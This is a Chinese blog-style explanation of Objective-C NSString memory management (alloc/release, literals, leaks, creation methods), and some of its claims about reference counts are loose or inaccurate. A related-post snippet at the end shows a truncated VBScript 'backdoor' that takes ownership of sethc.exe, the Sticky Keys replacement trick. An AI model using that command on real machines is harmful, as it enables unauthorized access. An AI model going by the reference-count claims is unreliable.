當我們用alloc 初始化乙個物件的時候,這個物件的引用計數為1 。當你不需要它的時候release 來釋放它 。
nsstring *str = [[nsstring alloc] initwithstring:@"abc"];str = @"123";
[str release];
nslog(@"%@".str);
首先,咱們先對這段**進行分析。第一句 宣告了乙個nsstring型別的例項 str, 並將其初始化init後賦值為@"abc"
第二行,將str的指標指向了乙個常量@"123"。 理論上講在第一行初始化的@"abc"沒有任何任何指標指向了。 所以造成了記憶體洩露
然後第三行, 將str的引用計數-1
第四行輸出str的值 為123.
首先回答為什麼不會崩潰, 因為第三行的release 實際上是release了乙個常量@"123" 而作為常量,其預設的引用計數值是很大的(100k+)
不信的話你們可以試試這句
nslog(@"retaincount = %d",[@"123" retaincount]);
最終的輸出值會是乙個很大很大的數。 所以單單乙個release是不會將其釋放掉的。nsstring是乙個不可變的字串物件。這不是表示這個物件宣告的變數的值不可變,而是表示它初始化以後,你不能改變該變數所分配的記憶體中的值,但你可以重新分配該變數所處的記憶體空間。然後再回答這樣會不會造成記憶體洩露。
其實…………理論上講 會!
但是實際上,objective-c對nsstring型別有特殊照顧。所有的nsstring的引用計數器預設初始值都會非常非常大。
生成乙個nsstring型別的字串有三種方法:
方法1.直接賦值: nsstring *str1 = @"my string";
方法2.類函式初始化生成: nsstring *str2 = [nsstring stringwithstring:@"my string"];
方法3.例項方法初始化生成: nsstring *str3 = [[nsstring alloc] initwithstring:@"my string"];
nsstring *str4 = [[nsstring alloc]initwithformat:@"my string"];
區別1: 方法一生成字串時,不會初始化記憶體空間,所以使用結束後不會釋放記憶體;
而其他三個都會初始化記憶體空間,使用結束後要釋放記憶體;
在釋放記憶體時方法2和3也不同,方法2是autorelease型別,記憶體由系統釋放;方法3則必須手動釋放
區別2:用format初始化的字串,需要初始化一段動態記憶體空間,如:0x6a42a40;
所以str3和str1的位址一致,但是str4和str1的位址不一致。
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...
有意思的遞迴
先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...